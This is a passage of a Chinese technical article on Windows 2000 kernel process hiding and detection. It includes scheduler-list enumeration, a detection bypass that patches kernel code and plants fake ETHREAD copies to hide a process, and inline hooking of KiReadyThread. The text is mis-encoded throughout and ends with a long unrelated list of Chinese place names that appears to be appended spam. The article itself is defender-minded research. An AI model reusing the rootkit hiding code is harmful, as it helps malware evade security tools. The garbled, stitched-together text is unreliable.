+12cstruct_KAPC_STATE*ApcStatePointer[2]

+134charPreviousMode

+135byteEnableStackSwap

+136byteLargeStack

+137byteResourceIndex

+138uint32KernelTime

+13cuint32UserTime

+140struct_KAPC_STATESavedApcState

+158byteAlertable

+159byteApcStateIndex

+15abyteApcQueueable

+15bbyteAutoAlignment

+15cvoid*StackBase

+160struct_KAPCSuspendApc

+190struct_KSEMAPHORESuspendSemaphore

+1a4struct_LIST_ENTRYThreadListEntry

+1accharFreezeCount

+1adcharSuspendCount

+1aebyteIdealProcessor

+1afbyteDisableBoost

在偏移0x5c處有一個(gè)WaitListEntry成員,這個(gè)就是用來鏈接到線程調(diào)度鏈表的。在偏移0x34處有一個(gè)ApcState成員結(jié)構(gòu),在ApcState中的Process域就是指向當(dāng)前線程關(guān)聯(lián)的進(jìn)程的KPROCESS塊,由于KPROCESS塊是EPROCESS塊的第一個(gè)元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當(dāng)前線程的進(jìn)程的名字,ID號等。

2.線程調(diào)度

在windows系統(tǒng)中,線程調(diào)度主要分成三條主要的調(diào)度鏈表。分別是KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當(dāng)線程獲得CPU執(zhí)行的時(shí)候,系統(tǒng)分配一,,個(gè)時(shí)間片給線程,當(dāng)發(fā)生一次時(shí)鐘中斷就從分配的時(shí)間片上減去一個(gè)時(shí)鐘中斷的值,如果這個(gè)值小于零了也就是時(shí)間片用完了,那么這個(gè)線程根據(jù)其優(yōu)先級載入到相應(yīng)的就緒隊(duì)列末尾。KiDispatcherReadyListHead是一個(gè)數(shù)組鏈的頭部,在windows2000中它包含有32個(gè)隊(duì)列,分別對應(yīng)線程的32個(gè)優(yōu)先級。如果線程因?yàn)橥?,或者是對外設(shè)請求,那么阻塞線程,讓出CPU的所有權(quán),加如到阻塞隊(duì)列里面去。CPU從就緒隊(duì)列里面,按照優(yōu)先權(quán)的前后,重新調(diào)度新的線程的執(zhí)行。當(dāng)阻塞隊(duì)列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊(duì)列里面等待執(zhí)行。

3.通過線程調(diào)度鏈表進(jìn)行隱藏進(jìn)程的檢測

voidDisplayList(PLIST_ENTRYListHead)

{

PLIST_ENTRYList=ListHead->Flink;

if(List==ListHead)

{

//DbgPrint("return\n");

return;

}

PLIST_ENTRYNextList=List;

while(NextList!=ListHead)

{

PKTHREADThread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry);

PKPROCESSProcess=Thread->ApcState.Process;

PEPROCESSpEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

NextList=NextList->Flink;

}

}

以上是對一條鏈進(jìn)行進(jìn)程枚舉。所以我們必須找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他們都沒有被ntoskrnl.exe導(dǎo)出來,所以只有通過硬編碼的辦法給他們賦值。通過內(nèi)核調(diào)試器,能找到(windows2000sp4):

PLIST_ENTRYKiWaitInListHead=(PLIST_ENTRY)0x80482258;

PLIST_ENTRYKiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;

PLIST_ENTRYKiWaitOutListhead=(PLIST_ENTRY)0x80482808;

遍歷所有的線程調(diào)度鏈表。

for(i=0;i<32;i++)

{

DisplayList(KiDispatcherReadyListHead+i);

}

DisplayList(KiWaitInListHead);

DisplayList(KiWaitOutListhead);

通過上面的那一小段核心代碼就能把刪除活動(dòng)進(jìn)程鏈表的隱藏進(jìn)程給查出來。也可以改寫一個(gè)友好一點(diǎn)的驅(qū)動(dòng),加入IOCTL,得到的進(jìn)程信息把打印在DbgView中把它返回給Ring3的應(yīng)用程序,然后應(yīng)用程序?qū)Ψ祷氐臄?shù)據(jù)進(jìn)行處理,和Ring3級由PSAPI得到的進(jìn)程對比,然后判斷是不是有隱藏的進(jìn)程。

4.繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程。

Xfocus上SoBeIt提出了繞過內(nèi)核調(diào)度鏈表進(jìn)程檢測。詳情可以參見原文:

/articles/200404/693.html

由于現(xiàn)在的基于線程調(diào)度的檢測系統(tǒng)都是通過內(nèi)核調(diào)試器得硬編碼來枚舉所有的調(diào)度線程的,所以我們完全可以自己創(chuàng)造一個(gè)那三個(gè)調(diào)度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由于線程調(diào)度的時(shí)候會(huì)用到KiFindReadyThread等內(nèi)核API,在KiFindReadyThread里面又會(huì)去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機(jī)器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。

kd>uKiFindReadyThread+0x48

nt!KiFindReadyThread+0x48:

804313db8d34d5e0224880leaesi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]

很明顯我們可以在機(jī)器碼中看到e0224880,由于它是在內(nèi)存中以byte序列顯示的轉(zhuǎn)換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個(gè)鏈頭。使其系統(tǒng)以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個(gè)鏈表頭的還有一些內(nèi)核API,所以必須找到他們在機(jī)器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統(tǒng)調(diào)度就會(huì)出錯(cuò).系統(tǒng)中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。

申請新的表頭空間:

pNewKiWaitInListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiWaitOutListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,sizeof(LIST_ENTRY));

pNewKiDispatcherReadyListHead=(PLIST_ENTRY)ExAllocatePool\

(NonPagedPool,32*sizeof(LIST_ENTRY));

下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。

新調(diào)度鏈表的表頭替換:

InitializeListHead(pNewKiWaitInListHead);

把原來的系統(tǒng)鏈表頭摘除,把新的接上去:

pFirstEntry=pKiWaitInListHead->Flink;

pLastEntry=pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink=pFirstEntry;

pNewKiWaitInListHead->Blink=pLastEntry;

pFirstEntry->Blink=pNewKiWaitInListHead;

pLastEntry->Flink=pNewKiWaitInListHead;

剩下的就是在原來的線程調(diào)度鏈表上做文章了使其基于線程調(diào)度檢測系統(tǒng)看不出什么異端.

for(;;)

{

InitializeListHead(pKiWaitInListHead);

for(pEntry=pNewKiWaitInListHead->Flink;

pEntry&&pEntry!=pNewKiWaitInListHead;

pEntry=pEntry->Flink)

{

pETHREAD=(PETHREAD)(((PCHAR)pEntry)-0x5c);

pEPROCESS=(PEPROCESS)(pETHREAD->Tcb.ApcState.Process);

PID=*(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID==0x8)

continue;

pFakeETHREAD=ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD,pETHREAD,sizeof(FAKE_ETHREAD));

InsertHeadList(pKiWaitInListHead,&pFakeETHREAD->WaitListEntry);

}

...休息一段時(shí)間

}

首先每過一小段時(shí)間就把原來的線程調(diào)度鏈表清空,然后遍歷當(dāng)前的線程調(diào)度鏈,判斷鏈中的每一個(gè)KPROCESS塊是不是要屬于要隱藏的進(jìn)程線程,如果是就跳過,不是就自己構(gòu)造一個(gè)ETHREAD塊把當(dāng)前的信息拷貝過去,然后把自己構(gòu)造的ETHREAD塊加入到原來的調(diào)度鏈表中。為什么要自己構(gòu)造一個(gè)ETHREAD?其原因主要有2個(gè),其一為了使檢測系統(tǒng)看起來更可信,如果僅僅清空原來的線程調(diào)度鏈表那么檢測系統(tǒng)將查不出來任何的線程和進(jìn)程信息,

很明顯,這無疑不打自招的說,系統(tǒng)里面已經(jīng)有東西了。其二,如果把自己構(gòu)造的ETHREAD塊掛接在原調(diào)度鏈表中,檢測系統(tǒng)會(huì)訪問掛在原來調(diào)度鏈表上的ETHREAD塊里面的成員,如果不自己構(gòu)造一個(gè)和真實(shí)ETHREAD塊重要信息一樣的塊,那么檢測系統(tǒng)很有可能出現(xiàn)非法訪問,然后就boom蘭屏了。

實(shí)際上所謂的繞過系統(tǒng)檢測僅僅是針對基于線程調(diào)度的檢測進(jìn)程的防御系統(tǒng)而言的,其實(shí)系統(tǒng)依舊在進(jìn)行線程調(diào)度,訪問的是我們新建的鏈表頭部。而檢測系統(tǒng)訪問的是原來的頭部,他后面的數(shù)據(jù)項(xiàng)是我們自己申請的,系統(tǒng)并不訪問。

5.檢測繞過內(nèi)核調(diào)度鏈表隱藏進(jìn)程

一般情況下我們是通過內(nèi)核調(diào)試器得到那三條鏈表的內(nèi)核地址,然后進(jìn)行枚舉。這就給隱藏者留下了機(jī)會(huì),如上面所示。但是我們完全可以把上面那種隱藏進(jìn)程檢測出來。我們也通過在內(nèi)核函數(shù)中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經(jīng)看見了KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內(nèi)核調(diào)度鏈表檢測辦法同時(shí)也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統(tǒng)完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead,KiWaitOutListhead也都到使用他們的相應(yīng)的內(nèi)核函數(shù)里面去取得地址。就算原地址被修改過,我們也能把修改過后的調(diào)度鏈表頭給找出來。所以欺騙就不行了。

Hook內(nèi)核函數(shù)(KiReadyThread)檢測進(jìn)程

1.介紹通用Hook內(nèi)核函數(shù)的方法

當(dāng)我們要攔截目標(biāo)函數(shù)的時(shí)候,只要修改原函數(shù)頭5個(gè)字節(jié)的機(jī)器代碼為一個(gè)JMPXXXXXXXX(XXXXXXXX是距自己的Hook函數(shù)的偏移量)就行了。并且保存原來修改前的5個(gè)字節(jié)。在跳入原函數(shù)時(shí),恢復(fù)那5個(gè)字節(jié)即可。

charJmpMyCode[]={0xE9,0x00,0x00,0x00,0x00};//E9對應(yīng)Jmp偏移量指令

*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量

memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼

memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個(gè)命令為一個(gè)跳轉(zhuǎn)指令

在系統(tǒng)內(nèi)核級中,MS的很多信息都沒公開,包括函數(shù)的參數(shù)數(shù)目,每個(gè)參數(shù)的類型等。在系統(tǒng)內(nèi)核中,訪問了大量的寄存器,而很多寄存器的值,是上層調(diào)用者提供的。如果值改變系統(tǒng)就會(huì)變得不穩(wěn)定。很可能出現(xiàn)不可想象的后果。另外有時(shí)候?qū)π枰狧ook的函數(shù)的參數(shù)不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導(dǎo)致藍(lán)屏。所以Hook的最佳原則是在自己的Hook函數(shù)中呼叫原函數(shù)的時(shí)候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數(shù)中不會(huì)出錯(cuò)。一般我們自己的Hook的函數(shù)都是寫在C文件里面的。例如Hook的目標(biāo)函數(shù)KiReadyThread。那么一般就自己實(shí)現(xiàn)一個(gè):

MyKiReadyThread(...)

{

......

callKiReadyThread

......

}

但是用C編譯器編譯出來的代碼會(huì)出現(xiàn)一個(gè)堆棧幀:

Pushebp

movebp,esp

這就和我們的初衷不改變寄存器的數(shù)違背了。所以我們可以自己用匯編來實(shí)MyKiReadyThread。

_MyKiReadyThread@0proc

pushad;保存通用寄存器

call_cfunc@0;這里是在進(jìn)入原來函數(shù)前進(jìn)行的一些處理。

popad;恢復(fù)通用寄存器

pusheax

moveax,[esp+4];得到系統(tǒng)在call目標(biāo)函數(shù)時(shí)入棧的返回地址。

movds:_OrgRet,eax;保存在一個(gè)臨時(shí)變量中

popeax

mov[esp],retaddr;把目標(biāo)函數(shù)的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續(xù)的處理

jmp_OrgDestFunction;跳到原目標(biāo)函數(shù)中

retaddr:

pushad;原函數(shù)處理完后保存寄存器

call_HookDestFunction@0;再Hook

popad;回復(fù)寄存器

jmpds:_OrgRet;跳到系統(tǒng)調(diào)用目標(biāo)函數(shù)的下一條指令。

_MyKiReadyThread@0endp

在實(shí)現(xiàn)了Hook過后在當(dāng)調(diào)用原來的函數(shù)時(shí)(jmp_OrgDestFunction),這個(gè)時(shí)候所以寄存器的值和堆棧信息和沒Hook的時(shí)候一樣。在返回到系統(tǒng)的時(shí)候(jmpds:_OrgRet),這個(gè)時(shí)候的堆棧信息和寄存器的值和沒有Hook的時(shí)候也是一樣。就說是中間Hook層對下面和上面都是透明的。

2.檢測隱藏進(jìn)程

在線程調(diào)度搶占的的時(shí)候會(huì)調(diào)用KiReadyThread,它的原型為:

VOIDFASTCALLKiReadyThread(INPRKTHREADThread);

在進(jìn)入KiReadyThread時(shí),ecx指向Thread。所以完全可以HookKiReadyThread然后用ecx的值得到但前線程的進(jìn)程信息。KiReadyThread沒被ntosknrl.exe導(dǎo)出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。

voidcfunc(void)

{

ULONGPKHeader=0;

__asm

{

movPKHeader,ecx//ecx寄存器是KiReadyThread中的PRKTHREAD參數(shù)

}

ResumeDestFunction();//恢復(fù)頭5個(gè)字節(jié)

if(PKHeader!=0)

{

DisplayName((PKTHREAD)PKHeader);

}

}

cfun是Hook函數(shù)調(diào)用用來得到當(dāng)前線程搶占的進(jìn)程信息的。

voidDisplayName(PKTHREADThread)

{

PKPROCESSProcess=Thread->ApcState.Process;

PEPROCESSpEprocess=(PEPROCESS)Process;

DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);

}

voidHookDestFunction()//設(shè)置頭個(gè)字節(jié)為一個(gè)跳轉(zhuǎn)指令,跳到自己的函數(shù)中去

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,JmpMyCode,5);

EnableWriteProtect(orgcr0);

}

voidResumeDestFunction()//恢復(fù)頭5個(gè)字節(jié)

{

DisableWriteProtect(&orgcr0);

memcpy((char*)OrgDestFunction,OrgCode,5);

EnableWriteProtect(orgcr0);

}

除了KiReadyThread其他還可以Hook其他內(nèi)核函數(shù),只有hook過后能得到線程或者是進(jìn)程的ETHREAD或者是EPROCESS結(jié)構(gòu)頭地址。其Hook的方法都是一樣的。HookKiReadyThread基本原來說明了,詳細(xì)實(shí)現(xiàn)可以見我的另外一篇文章《內(nèi)核級利用通用Hook函數(shù)方法檢測進(jìn)程》。

結(jié)論

以上對內(nèi)核級進(jìn)程隱藏和偵測做了一個(gè)總結(jié)和對每一種方法的原理進(jìn)行的詳細(xì)闡述,并給出了核心的實(shí)現(xiàn)代碼。

信息安全將是未來發(fā)展的一個(gè)重點(diǎn),攻擊和偵測都有一個(gè)向底層靠攏的趨勢。進(jìn)程隱藏和偵測只是信息安全中的很小的一個(gè)部分。未來病毒和反病毒底層化是一個(gè)不可逆轉(zhuǎn)的事實(shí)。通過對系統(tǒng)系統(tǒng)底層分析能更好的了解病毒技術(shù),從而能夠有效的進(jìn)行查殺。為以后從事信息安全方面的研究奠定一個(gè)好的基礎(chǔ)。

昌吉市| 洛隆县| 巨野县| 上思县| 青海省| 溧阳市| 阳曲县| 福建省| 屯昌县| 云南省| 永安市| 全南县| 昆明市| 邵东县| 密山市| 秦安县| 东明县| 阿克苏市| 徐汇区| 乌兰察布市| 武功县| 桦甸市| 建水县| 合山市| 阜南县| 蒙阴县| 昔阳县| 株洲市| 东丰县| 密云县| 裕民县| 长乐市| 双桥区| 阳西县| 长兴县| 墨竹工卡县| 资中县| 辽阳县| 资源县| 湟中县| 北安市|